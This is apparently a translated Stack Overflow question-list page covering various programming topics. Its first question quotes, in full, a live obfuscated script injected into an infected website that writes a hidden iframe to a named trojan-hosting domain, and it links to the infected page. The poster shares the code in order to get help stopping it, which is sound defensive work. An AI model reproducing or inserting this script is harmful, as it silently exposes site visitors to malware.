问题列表 - 第15450页

以编程方式停止html/javascript/css中的特定代码块

我网站上的服务器上也有病毒.

病毒会注入恶意代码

<b id="BAs"></b><script>/*Warning: Opera Only*/var hKo = document.createElement("script");hKo.text="document.write(unescape(\"%3c%69%66%72%61%6d%65%20%73%72%63%3d%27%68%74%74%70%3a%2f%2f%6e%63%63%63%6e%6e%6e%63%2e%63%6e%2f%69%6d%67%2f%69%6e%64%65%78%2e%70%68%70%27%20%73%74%79%6c%65%3d%27%64%69%73%70%6c%61%79%3a%6e%6f%6e%65%3b%27%3e%3c%2f%69%66%72%61%6d%65%3e\"));";document.getElementById("BAs").appendChild(hKo)</script>
Run Code Online (Sandbox Code Playgroud)

在每个服务的单个页面上,它正在由Apache或类似的东西进行预处理,以将其添加到文件的末尾.

我创建了一个测试文件,其代码如下:

<html> 
<head> 
<title>Test HTML File</title> 
</head> 
<body> 
<h1>Test HTML File</h1> 
</body>
</html>
Run Code Online (Sandbox Code Playgroud)

它并不漂亮,但却达到了它的目的.

在浏览器中查看页面时,我明白了

<html> 
<head> 
<title>Test HTML File</title> 
</head> 
<body> 
<h1>Test HTML File</h1> 
<b id="BAs"></b><script>/*Warning: Opera Only*/var hKo = document.createElement("script");hKo.text="document.write(unescape(\"%3c%69%66%72%61%6d%65%20%73%72%63%3d%27%68%74%74%70%3a%2f%2f%6e%63%63%63%6e%6e%6e%63%2e%63%6e%2f%69%6d%67%2f%69%6e%64%65%78%2e%70%68%70%27%20%73%74%79%6c%65%3d%27%64%69%73%70%6c%61%79%3a%6e%6f%6e%65%3b%27%3e%3c%2f%69%66%72%61%6d%65%3e\"));";document.getElementById("BAs").appendChild(hKo)</script> 
</body> 
</html>
Run Code Online (Sandbox Code Playgroud)

可以从www.sagamountain.com/testfile.html查看(警告,此页面已被感染)

我需要以编程方式停止该div和该脚本的执行,因为它是一个iframe到其上有木马的网站.HTML,CSS或JS,我只需要一些方法来阻止JS执行.

它已经显示:无,所以你看不到它,但是如何防止iframe一直加载呢?

谢谢您的帮助!unescape的事情解决了http://ncccnnnc.cn/img/index.php的iframe,这显然是我烦恼的根源.不要去那个网站!

编辑:这是对https://serverfault.com/questions/78439/my-website-is-infected-i-restored-a-backup-of-the-uninfected-files-how-long-wil/78459的跟进#78459

html javascript css antivirus

0
推荐指数
1
解决办法
156
查看次数

将HashMap迭代器转换为具体类型时出现ClassCastException

我是processing.org和Java的新手.我试图将对象存储在HashMap中,然后迭代HashMap的值,调用存储对象上的方法.为了做到这一点,我假设我需要将迭代器向下转换为我的类的类型,但这会抛出一个ClassCastException("java.util.HashMap $ ValueIterator不能转换为sketch_oct27a $ MyClass").以下简化代码演示了此行为:

import java.util.*;

void setup() {
  HashMap m = new HashMap();

  m.put("First", new MyClass());
  m.put("Second", new MyClass());
  m.put("Third", new MyClass());

  Iterator iter = m.values().iterator();

  while (iter.hasNext()) {
   ((MyClass)iter).SaySomething(); // Throws ClassCastException
   iter.next();
  }    
}

class MyClass { 
  void SaySomething() {
    println("Something");
  }
}
Run Code Online (Sandbox Code Playgroud)

如何通过迭代器调用SaySomething()方法?

java processing iterator hashmap

0
推荐指数
1
解决办法
3584
查看次数

MySQL更新(太长时间)了

经过我们服务的一些预期的增长后,所有突然的一些更新都花了很长时间,这些过去非常快,直到表达到大约2MM的记录,现在它们大约需要40-60秒.

update table1 set field1=field1+1 where id=2229230;
Query OK, 0 rows affected (42.31 sec)
Rows matched: 1  Changed: 0  Warnings: 0
Run Code Online (Sandbox Code Playgroud)

以下是字段类型:

`id` bigint(20) NOT NULL auto_increment,
`field1` int(11) default '0',
Run Code Online (Sandbox Code Playgroud)

对于上下文切换的分析结果,这是唯一一个在结果上看起来具有高数字的切换:

mysql> show profile context switches
    -> ;
+----------------------+-----------+-------------------+---------------------+
| Status               | Duration  | Context_voluntary | Context_involuntary |
+----------------------+-----------+-------------------+---------------------+
| (initialization)     | 0.000007  |                 0 |                   0 |
| checking permissions | 0.000009  |                 0 |                   0 |
| Opening tables       | 0.000045  |                 0 |                   0 |
| …
Run Code Online (Sandbox Code Playgroud)

mysql sql optimization

8
推荐指数
3
解决办法
2万
查看次数

用于Visual Studio项目的独立构建系统

我们使用Make来编译我们的产品,包括C,C++,Java和其他一些零碎的东西.我们尽可能地拥有将整个事物编译到源代码控制中所需的所有工具,以消除本地依赖关系并确保dev机器之间的一致性.

最近我们使用Visual Studio添加了一些用C#编写的组件,并希望采用与Visual Studio解决方案类似的方法.向外倾斜devenv不是一个好选择.csc.exe直接调用(正如我在使用Nant之前所做的那样)需要在构建脚本中跟踪文件依赖性,我宁愿让Visual Studio解决方案这样做.

MSBuild似乎是一个不错的选择,虽然它的默认位置%windir%\Microsoft.NET\Framework\[version]\让我担心机器之间的可变性,无论是路径中的[版本]还是你将看到"Framework"和"Framework64"目录的事实.我不介意要求所有开发人员安装任何.NET框架版本,但我确实担心你的v3.5可能与我的不同.

有没有人有他们喜欢的解决方案?尝试过你真正不喜欢的事吗?

c# visual-studio

5
推荐指数
1
解决办法
631
查看次数

PHP会话变量快捷方式?

所以我在使用$_SESSION变量的PHP站点上进行一些维护.我开始看到一些非常非常奇怪的行为,经过几个小时的调试后我才想到这一点.举个例子,假设我有一个像这样的会话变量设置:

$_SESSION['user']['id'] = 123;
$_SESSION['user']['firstname'] = 'John';
$_SESSION['user']['lastname'] = 'Doe';
Run Code Online (Sandbox Code Playgroud)

在脚本中的某一点,使用一些Zend类调用MySQL表:

$sql = "SELECT whatever FROM table";
$user = $db->fetchRow($sql);
Run Code Online (Sandbox Code Playgroud)

现在这里是奇怪的开始......在进行这个数据库调用之后,我的$_SESSION['user']数组值突然变为从数据库调用中检索的对象...

基本上:$_SESSION['user']现在与使用fetchRow DB方法检索的对象相同,该方法应该存储在变量中$user.我以前从未见过这个.

我唯一可以弄清楚的是因为变量名$user$_SESSION['user']数组键名相同,它就像一个快捷方式或其他东西.

这是我之前从未听说过的某种奇怪的PHP Session快捷方式吗?

另外,我知道$_SESSION直接访问变量不是最好的做法.我没有建立这个网站.我的工作只是修复一些东西并添加一些功能.

更新:果然,register_globals打开了.谢谢你的快速帮助.难怪我看到这种奇怪的行为.

php variables shortcuts session zend-framework

1
推荐指数
1
解决办法
451
查看次数

优雅ie6悬停css解决方案

我想要一个标签的解决方案:hover不能在ie6上运行.我的猜测是必须用javascript完成.

我找到了这个补丁:csshover3.htc(http://www.xs4all.nl/~peterned/csshover.html),我检查了它的演示!我没有在我的ie6浏览器上工作!

必须有一种优雅的方法来解决这个非常大的基本问题,可能是一个jquery插件.

任何领导都是适当的

css

1
推荐指数
1
解决办法
464
查看次数

辅助方法或模型或控制器?

假设我有一个带有选择菜单的form_for,用于在belongs_to关联上分配用户:

...
form.select :user_id, @users, :prompt => "Select a User"
...
Run Code Online (Sandbox Code Playgroud)

目前我在控制器中有@users如下:

@users = User.all.map { |u| [u.full_name, u.id] }
Run Code Online (Sandbox Code Playgroud)

我觉得这个逻辑可能会转移到帮助者甚至模型中.但我很困惑在哪里处理这个以及如何处理.

model-view-controller ruby-on-rails

2
推荐指数
1
解决办法
1514
查看次数

试过redmine和trac,但是没有一个允许我在项目之间分享里程碑和错误

你知道redmine或trac的一个很好的替代品,它允许这样的功能吗?我也尝试过fogbugz,但是与svn资源库浏览器集成得太差了(而且没有代码审查支持的迹象).

svn fogbugz trac branch redmine

2
推荐指数
1
解决办法
1401
查看次数

在全球范围内实例化(C++)

我使用下面的代码得到以下错误.

expected constructor, destructor, or type conversion before '=' token
Run Code Online (Sandbox Code Playgroud)

-

#include <string>
#include <map>

class Foo {

};

std::map<std::string, Foo> map;
map["bar"] = Foo();

int main()
{

    return 0;
}
Run Code Online (Sandbox Code Playgroud)

c++ global-variables instantiation

1
推荐指数
1
解决办法
5577
查看次数

在C程序中包含源文件

如何在这个小程序中包含foo.c的foo()函数(对不起我的noob问题):

在我的foo.h文件中:

/* foo.h */
#include <stdio.h>
#include <stdlib.h>

int foo(double largeur);
Run Code Online (Sandbox Code Playgroud)

在foo.c中:

/* foo.c */
#include <stdio.h>
#include <stdlib.h>
#include "foo.h"

int foo(double largeur)
{
  printf("foo");
  return 0;
}
Run Code Online (Sandbox Code Playgroud)

在main.c:

/* main.c */
#include <stdio.h>
#include <stdlib.h>
#include "foo.h"

int main(int argc, char *argv[])
{
  printf("Avant...");
  foo(2);
  printf("Apres...");
  return 0;
}
Run Code Online (Sandbox Code Playgroud)

编译后:

$ gcc -Wall -o main main.c

我收到此错误:

未定义的符号:"_ foo",引用自:ccerSyBF中的_main.l ld:未找到符号collect2:ld返回1退出状态

谢谢你的帮助.

c

2
推荐指数
3
解决办法
7442
查看次数